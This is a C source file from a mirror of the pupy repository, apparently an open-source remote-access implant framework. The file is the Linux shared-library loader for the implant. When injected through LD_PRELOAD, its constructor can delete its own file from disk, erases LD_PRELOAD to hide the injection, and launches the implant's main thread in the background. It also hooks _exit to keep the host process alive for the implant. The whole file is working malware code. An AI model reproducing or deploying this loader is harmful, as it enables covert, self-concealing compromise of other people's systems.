mirror of https://github.com/n1nj4sec/pupy.git
78 lines
1.5 KiB
C
78 lines
1.5 KiB
C
#define _GNU_SOURCE
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#include <stdlib.h>
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#include <pthread.h>
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#include <unistd.h>
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#include <string.h>
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#include <dlfcn.h>
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#include "pupy_load.h"
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#include "debug.h"
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static pthread_t thread_id;
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static int __argc = 0;
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static char ** __argv = NULL;
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static void *
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thread_start(void *arg)
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{
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return (void *) mainThread(__argc, __argv, true);
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}
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static
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void unloader(void) {
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dprint("Wait until pupy thread exits\n");
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pthread_join(thread_id, NULL);
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dprint("Sutting down\n");
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}
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void _exit(int status) {
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dprint("Catch exit");
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__attribute__((noreturn))
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void (*orig_exit)(int status) = dlsym(RTLD_NEXT, "_exit");
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if (!strcmp(getenv("HOOK_EXIT"), "1")) {
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dprint("Hook exit");
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unloader();
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}
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orig_exit(status);
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}
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static void _fill_argv(int argc, char* argv[], char* envp[]) {
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dprint("fill_argv called: %d/%p/%p\n", argc, argv, envp);
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#ifdef DEBUG
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int i;
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for (i=0; i<argc; i++) {
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dprint("ARGV[%d] = %s\n", i, argv[i]);
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}
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#endif
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__argc = argc;
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__argv = argv;
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}
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__attribute__((section(".init_array"))) void (* pfill_argv)(int, char*[], char*[]) = _fill_argv;
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__attribute__((constructor))
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void loader() {
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pthread_attr_t attr;
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pthread_attr_init(&attr);
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const char *ldpreload = getenv("LD_PRELOAD");
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const char *cleanup = getenv("CLEANUP");
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if (cleanup && ldpreload && !strcmp(cleanup, "1")) {
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dprint("Cleanup requested. Cleanup %s\n", ldpreload);
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unlink(ldpreload);
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}
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dprint("Unset LD_PRELOAD\n");
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unsetenv("LD_PRELOAD");
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dprint("Start thread\n");
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pthread_create(
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&thread_id, &attr,
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thread_start, NULL
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);
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}
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